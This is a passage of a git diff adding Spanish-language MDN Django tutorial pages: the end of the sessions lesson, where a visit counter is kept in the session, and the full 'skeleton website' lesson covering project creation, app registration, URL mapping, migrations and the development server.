+<p>Abre <strong>/locallibrary/catalog/views.py</strong>, y aplica los cambios que se muestran con negrita abajo.</p>
+
+<pre class="brush: python notranslate">def index(request):
+    ...
+
+    num_authors=Author.objects.count()  # El 'all()' se obvia en este caso.
+
+<strong>    # Numero de visitas a esta view, como está contado en la variable de sesión.
+    num_visits = request.session.get('num_visits', 0)
+    request.session['num_visits'] = num_visits + 1</strong>
+
+    <strong>context = {
+        'num_books':num_books,
+        'num_instances':num_instances,
+        'num_instances_available':num_instances_available,
+        'num_authors':num_authors,
+        'num_visits':num_visits,
+    } </strong>
+
+    # Carga la plantilla index.html con la información adicional en la variable context.
+    return render(request, 'index.html', context=context)</pre>
+
+<p>Aquí primero obtenemos el valor de la clave de sesión <code>'num_visits'</code>, estableciendo el valor a 0 si no había sido establecido previamente. Cada vez que se recibe la solicitud, incrementamos el valor y lo guardamos de vuelta en la sesión (para la siguiente vez que el usuario visita la página). La variable <code>num_visits</code> se envía entonces a la plantilla en nuestra variable de contexto.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Aquí podríamos incluso revisar si el navegador soporta cookies (mira <a href="/es/docs/https://docs.djangoproject.com/en/1.10/topics/http/sessions/">Cómo usar sesiones</a> para ejemplos) o diseñar nuestra UI de modo que no importe si el navegador soporta cookies o no.</p>
+</div>
+
+<p>Añade la línea que se ve al final del siguiente bloque a tu plantilla HTML principal (<strong>/locallibrary/catalog/templates/index.html</strong>) al final de la sección "Dynamic content" para desplegar la variable de contexto:</p>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Dynamic content&lt;/h2&gt;
+
+&lt;p&gt;The library has the following record counts:&lt;/p&gt;
+&lt;ul&gt;
+  &lt;li&gt;&lt;strong&gt;Books:&lt;/strong&gt; \{{ num_books }}&lt;/li&gt;
+  &lt;li&gt;&lt;strong&gt;Copies:&lt;/strong&gt; \{{ num_instances }}&lt;/li&gt;
+  &lt;li&gt;&lt;strong&gt;Copies available:&lt;/strong&gt; \{{ num_instances_available }}&lt;/li&gt;
+  &lt;li&gt;&lt;strong&gt;Authors:&lt;/strong&gt; \{{ num_authors }}&lt;/li&gt;
+&lt;/ul&gt;
+
+<strong>&lt;p&gt;You have visited this page \{{ num_visits }}{% if num_visits == 1 %} time{% else %} times{% endif %}.&lt;/p&gt;</strong>
+</pre>
+
+<p>Guarda tus cambios y reinicia el servidor de pruebas. Cada vez que refresques la página, el número se debería actualizar.</p>
+
+<ul>
+</ul>
+
+<h2 id="Resumen_2">Resumen</h2>
+
+<p>Ahora sabes lo fácil que es usar sesiones para mejorar tu interacción con usuarios <em>anónimos</em>.</p>
+
+<p>En nuestros siguientes artículos explicaremos el framework de autenticación y autorización (permisos), y te mostraremos cómo soportar cuentas de usuario.</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/1.10/topics/http/sessions/">Cómo usar sesiones</a> (Django docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django/Authentication", "Learn/Server-side/Django")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Authentication">Tutorial de Django Parte 8: Autenticación de usuarios y permisos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Forms">Tutorial de Django Parte 9: Trabajando con formularios</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Testing">Tutorial de Django Parte 10: Probando una aplicación web de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Deployment">Tutorial de Django Parte 11: Poniendo Django en producción</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/web_application_security">Seguridad en aplicaciones web Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/es/learn/server-side/django/skeleton_website/index.html b/files/es/learn/server-side/django/skeleton_website/index.html
new file mode 100644
index 0000000000..96c8b0d3b0
--- /dev/null
+++ b/files/es/learn/server-side/django/skeleton_website/index.html
@@ -0,0 +1,397 @@
+---
+title: 'Tutorial Django Parte 2: Creación del esqueleto del sitio web'
+slug: Learn/Server-side/Django/skeleton_website
+tags:
+  - Aprendizaje
+  - Artículo
+  - Codificación de scripts
+  - Guía
+  - Principiante
+  - Tutorial
+  - django
+  - introducción
+  - lado servidor
+translation_of: Learn/Server-side/Django/skeleton_website
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">Este segundo artículo de nuestro <a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial Django</a> muestra cómo puedes crear un proyecto de "esqueleto" de sitio web como base, que puedes continuar luego llenado de configuraciones específicas del sitio, urls, modelos, vistas y plantillas.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Pre-requisitos:</th>
+   <td><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/development_environment">Poner en marcha un entorno de desarrollo Django</a>. Repasar el <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial Django</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>
+    <p>Ser capaz de usar las herramientas de Django para empezar tus propios proyectos de sitios web nuevos.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Visión_general">Visión general</h2>
+
+<p>Este artículo muestra como puedes crear un sitio web "esqueleto", que puedes luego llenar con configuraciones específicas del sitio, urls, modelos, vistas y plantillas (trataremos ésto en artículos posteriores).</p>
+
+<p>El proceso es sencillo:</p>
+
+<ol>
+ <li><span style="line-height: 1.5;">Usar la herramienta </span><code style="font-style: normal; font-weight: normal; line-height: 1.5;">django-admin</code><span style="line-height: 1.5;"> para crear la carpeta del proyecto, los ficheros de plantillas básicos y el script de gestión del proyecto </span><span style="line-height: 1.5;"> (</span><strong style="line-height: 1.5;">manage.py</strong><span style="line-height: 1.5;">).</span></li>
+ <li><span style="line-height: 1.5;">Usar </span><strong style="line-height: 1.5;">manage.py</strong><span style="line-height: 1.5;"> para crear una o más <em>aplicaciones</em></span><span style="line-height: 1.5;">.</span>
+  <div class="note">
+  <p><strong>Nota</strong>: Un sitio web puede consistir de una o más secciones, ej. sitio principal, blog, wiki, area de descargas, etc. Django te recomienda encarecidamente que desarrolles estos componentes como <em>aplicaciones</em> separadas que podrían ser reutilizadas, si se desea, en otros proyectos. </p>
+  </div>
+ </li>
+ <li><span style="line-height: 1.5;">Registrar las nuevas aplicaciones para incluirlas en el proyecto. </span></li>
+ <li><span style="line-height: 1.5;">Conectar el mapeador url de cada aplicación</span><span style="line-height: 1.5;">.</span></li>
+</ol>
+
+<p>Para el <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">sitio web de la BibliotecaLocal</a> la carpeta del sitio y la carpeta de su proyecto se llamarán <em>locallibrary</em>, y tendremos sólo una aplicación llamada <em>catalog</em>. El nivel más alto de la estructura de carpetas quedará por tanto como sigue:</p>
+
+<pre class="brush: bash"><em>locallibrary/         # Carpeta del sitio web</em>
+    <strong>manage.py         </strong># Script para ejecutar las herramientas de Django para este proyecto (creadas usando django-admin)
+    <em>locallibrary/     # Carpeta del Sitio web/Proyecto </em>(creada usando django-admin)
+    <em>catalog/          # Carpeta de la Aplicación </em>(creada usando manage.py)
+</pre>
+
+<p><span style="line-height: 1.5;">Las siguientes secciones abordan los pasos del proceso en detalle, y muestran cómo puedes comprobar los cambios. Al final de cada artículo trataremos alguna de los otros ajustes aplicables al sitio entero que deberías también efectuar en esta etapa</span><span style="line-height: 1.5;">.</span></p>
+
+<h2 id="Creación_del_proyecto">Creación del proyecto</h2>
+
+<p>En primer lugar abre una ventana de comandos/terminal, navega hasta donde quieres almacenar tus apps Django (hazlo en algún lugar que sea fácil de encontrar, como dentro de la carpeta de tus <span style="line-height: 1.5;"><em>documentos</em>), y crea una carpeta para tu nuevo sitio web (en este caso </span><span style="line-height: 1.5;">: </span><em>locallibrary</em>). Entra en el directorio a continuación usando el comando cd:</p>
+
+<pre class="brush: bash">mkdir locallibrary
+cd locallibrary</pre>
+
+<p>Crear el nuevo proyecto usando el comando <code>django-admin startproject</code> como se muestra, y navega luego dentro de la carpeta.</p>
+
+<pre class="brush: bash">django-admin startproject locallibrary .
+cd locallibrary</pre>
+
+<p>La herramienta <code>django-admin</code> crea una estructura de carpetas/ficheros como se muestra abajo:</p>
+
+<pre class="brush: bash"><em>locallibrary/</em>
+    <strong>manage.py</strong>
+    <em>locallibrary/</em>
+        settings.py
+        urls.py
+        wsgi.py</pre>
+
+<p>La subcarpeta del proyecto <em>locallibrary</em> es el punto de entrada al sitio web: </p>
+
+<ul>
+ <li><strong>settings.py</strong> contiene todos los ajustes del sitio. Es donde registramos todas las aplicaciones que creamos, la localización de nuestros ficheros estáticos, los detalles de configuración de la base de datos, etc.</li>
+ <li><strong>urls.py</strong> define los mapeos url-vistas. A pesar de que éste podría contener <span style="line-height: 1.5;"><em>todo</em> el código del mapeo url, es más común delegar algo del mapeo a las propias aplicaciones, como verás más tarde</span><span style="line-height: 1.5;">. </span></li>
+ <li><strong style="line-height: 1.5;">wsgi.py</strong><span style="line-height: 1.5;"> se usa para ayudar a la aplicación Django a comunicarse con el servidor web. Puedes tratarlo como código base que puedes utilizar de plantilla</span><span style="line-height: 1.5;">.</span></li>
+</ul>
+
+<p>El script <strong>manage.py</strong> se usa para crear aplicaciones, trabajar con bases de datos y empezar el desarrollo del servidor web.</p>
+
+<h2 id="Creación_de_la_aplicación_catalog">Creación de la aplicación catalog</h2>
+
+<p>A continuación, ejecuta el siguiente comando para crear la aplicación <em>catalog</em> que vivirá dentro de nuestro proyecto locallibrary (éste debe ejecutarse en la misma carpeta que el <strong>manage.py</strong> de tu proyecto):</p>
+
+<pre class="brush: bash">python3 manage.py startapp catalog</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: el comando de arriba es para Linux/Mac OS X. En Windows el comando debería ser: <code>py -3 manage.py startapp catalog</code></p>
+
+<p>Si estás trabajando en Windows, reemplaza <code>python3</code> por <code>py -3</code> a lo largo de este módulo o simplemente python: <code>python manage.py startapp catalog</code>.</p>
+</div>
+
+<p>La herramienta crea una nueva carpeta y la rellena con ficheros para las diferentes partes de la aplicación (mostradas en negrilla abajo). La mayoría de los ficheros se nombran de acuerdo a su propósito, para que sea má útil (ej. las vistas se deberán guardar en <strong>views.py</strong>, los Modelos en <strong>models.py</strong>, las pruebas en <strong>tests.py</strong>, la configuración del sitio de administración en <strong>admin.py</strong>, el registro de aplicaciones en <strong>apps.py</strong>) y contienen algo de código base mínimo para trabajar con los objetos asociados.</p>
+
+<p>El directorio actualizado del proyecto debería tener ahora el aspecto siguiente:</p>
+
+<pre class="brush: bash"><em>locallibrary/</em>
+    manage.py
+    <em>locallibrary/
+</em><strong>    <em>catalog/</em>
+        admin.py
+        apps.py
+        models.py
+        tests.py
+        views.py
+        __init__.py
+        <em>migrations/</em></strong>
+</pre>
+
+<p>Además ahora tenemos:</p>
+
+<ul>
+ <li>Una carpeta <em>migrations</em> que se utiliza para guardar las "migraciones"— ficheros que te permiten actualizar tus bases de datos a medida que modificas tus modelos. </li>
+ <li><strong>__init__.py</strong> — Un fichero vacío creado aquí para que Django/Python reconozca la carpeta como un <a href="https://docs.python.org/3/tutorial/modules.html#packages">Paquete Python</a> y te permita usar sus objetos dentro de otras partes del proyecto.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: ¿Te has dado cuenta qué es lo que falta en la lista de ficheros de arriba? Si bien hay un lugar para que coloques tus vistas y modelos, no hay nada para que pongas los mapeos url, las plantillas  y los ficheros estáticos. Te mostraremos cómo crearlos más adelante (éstos no se necesitan en todos los sitios web pero se necesitan en este ejemplo).</p>
+</div>
+
+<h2 id="Registro_de_la_aplicación_catalog">Registro de la aplicación catalog</h2>
+
+<p>Ahora que se ha creado la aplicación tenemos que registrarla en el proyecto de manera que sea incluida cuando cualquiera de las herramientas se ejecute (por ejemplo, para añadir modelos a la base de datos). Las aplicaciones se registran añadiéndolas a la lista de <code>INSTALLED_APPS</code> en los ajustes del proyecto.</p>
+
+<p>Abre el fichero de ajustes del proyecto <strong>locallibrary/locallibrary/settings.py</strong> y encuentra la definición de la lista <code>INSTALLED_APPS</code>. Añade a continuación una nueva linea al final de la lista, como se muestra en negrilla abajo.</p>
+
+<pre class="brush: bash">INSTALLED_APPS = [
+    'django.contrib.admin',
+    'django.contrib.auth',
+    'django.contrib.contenttypes',
+    'django.contrib.sessions',
+    'django.contrib.messages',
+    'django.contrib.staticfiles',
+<strong>    'catalog.apps.CatalogConfig', </strong>
+]</pre>
+
+<p>La nueva linea especifica el objeto de configuración de la aplicación (<code>CatalogConfig</code>) que se generó para tí en <strong>/locallibrary/catalog/apps.py</strong> cuando creaste la aplicación.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Te habrás fijado que hay ya un montón de otras <code>INSTALLED_APPS</code> (y <code>MIDDLEWARE</code>, más abajo en el fichero de ajustes). Éstas habilitan en soporte para el <a href="/es/docs/Learn/Server-side/Django/Admin_site">Sitio de admistración Django</a> y como consecuencia el motón de la funcionalidad que usa (incluyendo sesiones, autenticación, etc).</p>
+</div>
+
+<h2 id="Especificación_de_la_base_de_datos">Especificación de la base de datos</h2>
+
+<p>Éste es también el punto donde normalmente especificarías la base de datos a utilizar en el proyecto — tiene sentido usar la misma base datos para desarrollo y producción donde sea posible, para evitar diferencias menores en el comportamiento. Puedes encontrar información sobre las diferentes opciones de bases de datos en <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#databases">Databases</a> (Django docs). </p>
+
+<p>Nosotros usaremos la base de datos SQLite para este ejemplo, porque no esperamos que se requiera un montón de accesos concurrentes en una base de datos de demostración, y también ¡porque no requiere trabajo adicional para ponerla en marcha! Puedes ver cómo está configurada en <strong>settings.py</strong> (más información también se incluye abajo):</p>
+
+<pre class="brush: python">DATABASES = {
+    'default': {
+        'ENGINE': 'django.db.backends.sqlite3',
+        'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
+    }
+}
+</pre>
+
+<p>Debido a que usamos SQLite, no necesitamos hacer ningún ajuste adicional aquí. ¡Sigamos!</p>
+
+<h2 id="Otros_ajustes_del_proyecto">Otros ajustes del proyecto</h2>
+
+<p>El fichero <strong>settings.py</strong> se usa para configurar muchos otros ajustes, pero en este punto probablemente sólo querrás cambiar la <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-TIME_ZONE">TIME_ZONE</a> — ésta debería ser igual a una cadena de la <a href="https://en.wikipedia.org/wiki/List_of_tz_database_time_zones">Lista de base de datos tz de time zones</a> (la columna TZ column de la tabla contiene los valores que quieres). Cambia tu <code>TIME_ZONE</code> al valor de entre estas cadenas que sea apropiado para tu zona de tiempo, por ejemplo:</p>
+
+<pre class="brush: python">TIME_ZONE = 'Europe/Madrid'</pre>
+
+<p>Hay otros dos otros ajustes que no cambiarás ahora, pero de los que deberías ser consciente:</p>
+
+<ul>
+ <li><code>SECRET_KEY</code>. Ésta es una clave secreta que se usa como parte de la estrategia de seguridad del sitio web de Django. Si no vas a proteger este código durante el desarrollo, necesitarás usar un código diferente (quizás leyendo de una variable de entorno o un fichero) cuando lo pongas en producción. </li>
+ <li><code>DEBUG</code>. Ésto habilita que los registros (logs) de depuración se muestren en caso de error, en vez de las respuestas con los códigos de estado HTTP. Éste debería ajustarse a <code>false</code> en producción, ya que la información de depuración es útil a los atacantes. </li>
+</ul>
+
+<h2 id="Conectar_el_mapeador_URL">Conectar el mapeador URL</h2>
+
+<p>El sitio web se crea con un fichero mapeador de URLs (<strong>urls.py</strong>) en la carpeta del proyecto. Aunque puedes usar este fichero para gestionar todos tus mapeos URL, es más usual deferir los mapeos a su aplicación asociada.</p>
+
+<p>Abre <strong>locallibrary/locallibrary/urls.py</strong> y fíjate en el texto educativo que explica algunas formas de usar el mapeador URL. </p>
+
+<pre class="brush: python">"""locallibrary URL Configuration
+
+The `urlpatterns` list routes URLs to views. For more information please see:
+    https://docs.djangoproject.com/en/2.0/topics/http/urls/
+Examples:
+Function views
+    1. Add an import:  from my_app import views
+    2. Add a URL to urlpatterns:  path('', views.home, name='home')
+Class-based views
+    1. Add an import:  from other_app.views import Home
+    2. Add a URL to urlpatterns:  path('', Home.as_view(), name='home')
+Including another URLconf
+    1. Import the include() function: from django.urls import include, path
+    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))
+"""
+from django.contrib import admin
+from django.urls import path
+
+urlpatterns = [
+    path('admin/', admin.site.urls),
+]
+</pre>
+
+<p>Los mapeos URL se gestionan a través de la variable <code>urlpatterns</code>, que es una <em>lista</em> Python de funciones <code>path()</code>. Cada función <code>path()</code> o asocia un patrón URL a una <em>vista específica</em>, que se presentará cuando el patrón se empareja o con otra lista de código de comprobación de patrones URL (en este segundo caso, los patrones se convierten en la "URL base" de patrones definidos en el módulo destino). La lista <code>urlpatterns</code> define inicialmente una función que mapea todos los URLs con el patrón <em>admin/</em> al módulo <code>admin.site.urls</code> , que contiene las definiciones de mapeos URL propios de la aplicación de Administración.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: La ruta en <code>path()</code> es una cadena que define un patrón URL para emparejar. Esta cadena podría incluir una variable nombrada (entre paréntesis angulares), ej. <code>'catalog/&lt;id&gt;/'</code>. Este patrón emparejará con una URL como <strong>/catalog/</strong><em>any_chars</em><strong>/</strong> y pasará a la vista <em>any_chars</em> como cadena asociada al parámetro de nombre <code>id</code>). Trataremos de los métodos de caminos y rutas de patrones más adelante en los últimos temas.</p>
+</div>
+
+<p>Añade las lineas de abajo al final del fichero para añadir un nuevo elemento a la lista <code>urlpatterns</code>. Este nuevo elemento incluye un <code>path()</code> que redirige las peticiones con el patrón <code>catalog/</code> al módulo<code>catalog.urls</code> (el fichero con el URL relativo <strong>/catalog/urls.py</strong>).</p>
+
+<pre class="brush: python"># Use include() to add paths from the catalog application
+from django.urls import include
+
+urlpatterns += [
+    path('catalog/', include('catalog.urls')),
+]
+</pre>
+
+<p>Ahora redirijamos la URL raíz de nuestro sitio (ej. <code>127.0.0.1:8000</code>) al URL <code>127.0.0.1:8000/catalog/</code>; esta es la única app que usaremos en este proyecto, así que es lo que deberíamos hacer. Para hacer esto, usaremos una función especial (<code>RedirectView</code>), que toma como su primer argumento la nueva URL relativa a redirigir a (<code>/catalog/</code>) cuando el patrón URL especificado en la función <code>path()</code> se empareja (la URL raíz, en este caso).</p>
+
+<p>Añade las siguientes líneas, otra vez al final del fichero:</p>
+
+<pre class="brush: python">#Add URL maps to redirect the base URL to our application
+from django.views.generic import RedirectView
+urlpatterns += [
+    path('', RedirectView.as_view(url='/catalog/', permanent=True)),
+]</pre>
+
+
+
+<p>Deja el primer parámetro de la función path vacío, para implicar '/'. Si escribes el primer parámetro como '/' Django te dará la siguiente advertencia cuando arranque el servidor de desarrollo:</p>
+
+<p><em>La comprobación del sistema encontró algunos problemas:</em></p>
+
+<pre><em>WARNINGS:
+?: (urls.W002) Tu patrón URL '/' tiene una ruta que empieza con una '/'.
+Quita esta barra invertida ya que es inncesaria.
+Si este patrón figura como destino en un include(), asegúrate que el patrón include() tiene un '/' final.</em></pre>
+
+
+
+<p>Django no sirve ficheros estáticos como CSS, JavaScript e imágenes por defecto, pero puede ser útil para el servidor web de desarrollo hacerlo así mientras creas tu sitio. Como adición final a este mapeador URL, puedes habilitar el servicio de ficheros estáticos durante el desarrollo añadiendo las líneas siguientes.</p>
+
+<p>Añade ahora el siguiente bloque final al final del fichero:</p>
+
+<pre><code># Use static() to add url mapping to serve static files during development (only)
+from django.conf import settings
+from django.conf.urls.static import static
+
+urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)</code>
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Hay numerosas formas de extender la lista <code>urlpatterns</code> (arriba hemos añadido simplemente un nuevo elemento a la lista usando el operador<span style="font-size: 1.125rem;"> </span><code>+=</code><span style="font-size: 1.125rem;"> para separar claramente el código antiguo y el nuevo</span><span style="font-size: 1.125rem;">). En vez de ello podríamos haber simplemente incluido este nuevo patrón de mapeo en la definición de la lista original:</span></p>
+
+<pre class="brush: python">urlpatterns = [
+    path('admin/', admin.site.urls),
+    path('catalog/', include('catalog.urls')),
+    path('/', RedirectView.as_view(url='/catalog/', permanent=True)),
+] + <code>static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)</code>
+</pre>
+
+<p>Además, hemos incluido la linea import (<code>from django.urls import include</code>) con el código que la usa (de manera que sea fácil ver qué hemos añadido), pero es común incluir todas tus líneas import al principio del fichero Python.</p>
+</div>
+
+<p>Como paso final, crea un fichero dentro de tu carpeta catalog llamado <strong>urls.py</strong>, y añade el siguiente texto para definir la <code>urlpatterns</code> importada (vacía). Éste es donde añadimos nuestros patrones a medida que construimos la aplicación. </p>
+
+<pre class="brush: python">from django.conf.urls import url
+
+from . import views
+
+
+urlpatterns = [
+
+]
+</pre>
+
+<h2 id="Prueba_del_framework_del_sitio_web">Prueba del framework del sitio web</h2>
+
+<p>En este punto tenemos un proyecto de esqueleto completo. El sitio web <em>no hace</em> realmente nada todavía, pero merece la pena ejecutarlo para estar seguros de que ninguno de nuestros cambios no han roto nada.</p>
+
+<p>Antes de hacerlo, deberíamos primero ejecutar una <em>migración de la base de datos</em>. Ésto actualiza nuestra base de datos para incluir todos los modelos de nuestras aplicaciones instaladas (y eliminar algunas advertencias de construcción).</p>
+
+<h3 id="Ejecución_de_migraciones_de_la_base_de_datos">Ejecución de migraciones de la base de datos</h3>
+
+<p>Django usa un Object-Relational-Mapper (ORM) para mapear las definiciones de Modelos en el código Django con la estructura de datos utilizada por la base de datos subyacente. A medida que cambiamos nuestras definiciones de modelos, Django sigue la pista a los cambios y puede crear scripts de migración de la base de datos (en <strong>/locallibrary/catalog/migrations/</strong>) para migrar automáticamente la estructura de datos subyacente en el base de datos para igualarse al modelo.</p>
+
+<p>Cuando creamos el sitio web de Django añadimos automáticamente unos cuantos modelos para que ser usados por la sección de administración del sitio (al que echaremos un vistazo más tarde). Ejecuta los siguientes comandos para definir tablas para esos modelos de la base (asegúrate que estás en el directorio que contiene <strong>manage.py</strong>):</p>
+
+<pre class="brush: bash">python3 manage.py makemigrations
+python3 manage.py migrate
+</pre>
+
+<div class="warning">
+<p><strong>Importante</strong>: Necesitarás ejecutar los comandos de arriba cada vez que cambien tus modelos de una manera que afecte a la estructura de datos y necesite ser guardada (incluyendo tanto la adicción como la eliminación de modelos enteros o campos individuales).</p>
+</div>
+
+<p>El comando <code>makemigrations</code> <em>crea</em> (pero no aplica) las migraciones para todas las aplicaciones instaladas en tu proyecto (también puedes especificar el nombre de una aplicación para ejecutar una migración para un sólo proyecto). Ésto te da la opoortunidad de comprobar el código para estas migraciones antes de que se apliquen — cuando seas un experto en Django ¡podrás elegir modificarlos ligeramente!</p>
+
+<p>El comando <code>migrate</code> aplica realmente las migraciones a tu base de datos (Django lleva la cuenta de cuáles han sido añadidas a la base de datos actual).</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Mira en <a href="https://docs.djangoproject.com/en/2.0/topics/migrations/">Migrations</a> (Django docs) para obtener información adicional sobre los comandos de migración menos usados.</p>
+</div>
+
+<h3 id="Arrancando_el_sitio_web">Arrancando el sitio web</h3>
+
+<p>Durante el desarrollo puedes probar el sitio web usando para servirlo el <em>servidor de desarrollo web</em>, y visualizádolo en tu explorador web local. </p>
+
+<div class="note">
+<p><strong>Nota</strong>: el servidor web de desarrollo no es robusto y sin suficientes prestaciones para su uso en producción, pero es una manera muy fácil de tener levantado y funcionando tu sitio web Django durante el desarrollo para hacerle una prueba rápida y conveniente. Por defecto servirá el sitio a tu computadora local <span style="font-size: 1.125rem;">(</span><code>http://127.0.0.1:8000/)</code><span style="font-size: 1.125rem;">, pero puedes también especificar que se sirva a otras computdoras en tu red.</span><span style="font-size: 1.125rem;"> Para más información ver </span><a href="https://docs.djangoproject.com/en/2.0/ref/django-admin/#runserver" style="font-size: 1.125rem;">django-admin y manage.py: runserver</a><span style="font-size: 1.125rem;"> (Django docs).</span></p>
+</div>
+
+<p>Ejecuta el <em>servidor web de desarrollo</em> llamando al comando <code>runserver</code> (en el mismo directorio donde está <strong>manage.py</strong>):</p>
+
+<pre class="brush: bash">python3 manage.py runserver
+
+ Performing system checks...
+
+ System check identified no issues (0 silenced).
+ September 22, 2016 - 16:11:26
+ Django version 1.10, using settings 'locallibrary.settings'
+ Starting development server at http://127.0.0.1:8000/
+ Quit the server with CTRL-BREAK.
+</pre>
+
+<p>Una vez que el servidor está funcionando puedes ver el sitio navegando a <code>http://127.0.0.1:8000/</code> en tu explorador local. Deberías ver una página de error del sitio que tiene el siguiente aspecto:</p>
+
+<p><img alt="Django Debug page for Django 2.0" src="https://mdn.mozillademos.org/files/15729/django_404_debug_page.png"></p>
+
+<p>¡No te preocupes! Esta página de error es lo esperado porque no tenemos ninguna página/url definidas en el módulo <code>catalogs.urls</code> (que es al que nos redirigimos cuando obtenemos la URL a la raíz del sitio). </p>
+
+<div class="note">
+<p><strong>Nota</strong>: La página superior demuestra una gran característica de Django— El registro de depuración automático. Cada vez que una página no pueda ser encontrada, o el código provoque un error cualquiera, se mostrará una pantalla de error con información útil. En este caso vemos que la URL que hemos suministrado no empareja con ninguno de nuestros patrones de URL (como los listados). El resgistro de depuración puede desconectarse durante la producción (cuando colocamos el sitio en vivo en la Web), en cuyo caso se servirá una página menos informativa pero más amigable.</p>
+</div>
+
+<p>¡En este punto ya sabemos que Django está funcionando!</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Deberías volver a ejecutar las migraciones y volver a probar el sitio cada vez que hagas cambios significativos. ¡No lleva tanto tiempo!</p>
+</div>
+
+<h2 id="Desafíate_a_tí_mismo">Desafíate a tí mismo</h2>
+
+<p>El directorio <strong>catalog/</strong> contiene ficheros para las vistas, modelos y otras partes de la aplicación. Abre estos ficheros e inspecciona el código base. </p>
+
+<p>Como has visto arriba, se ha añadido ya un mapeo de URLs para el sitio de administración en el fichero del proyecto <strong>urls.py</strong>. Navega al área de adminsitración en tu explorador y mira qué sucede (puedes inferir el URL correcto de los mapeos de arriba).</p>
+
+<ul>
+</ul>
+
+<h2 id="Sumario">Sumario</h2>
+
+<p>ahora ya has creado un proyecto de esqueleto completo de sitio web, con el que puedes continuar rellenando con urls, modelos, vistas y plantillas.</p>
+
+<p>Ahora que el esqueleto del <a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">sitio web de la BibliotecaLocal</a> está completo y funcionando, es hora de empezar a escribir el código que hace que este sitio haga lo que se supone que debe hacer. </p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.0/intro/tutorial01/">Escribiendo tu primera aplicación Django - parte 1</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.0/ref/applications/#configuring-applications">Aplicaciones</a> (Django Docs). Contiene información sobre cómo configurar aplicaciones.</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/Tutorial_local_library_website", "Learn/Server-side/Django/Models", "Learn/Server-side/Django")}}</p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/Server-side/Django/Introducción">Introducción a Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/development_environment">Configurando un entorno de desarrollo Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">Tutorial de Django: El sito web de la Biblioteca Local</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/skeleton_website">Tutorial de Django Parte 2: Creando el esqueleto de un sitio web</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Models">Tutorial de Django Parte 3: Usando modelos</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Admin_site">Tutorial de Django Parte 4: Sitio de administración de Django</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Home_page">Tutorial de Django Parte 5: Creando nuestra página de inicio</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Generic_views">Tutorial de Django Parte 6: Listas genéricas y vistas de detalle</a></li>
+ <li><a href="/es/docs/Learn/Server-side/Django/Sessions">Tutorial de Django Parte 7: Framework de sesiones</a></li>
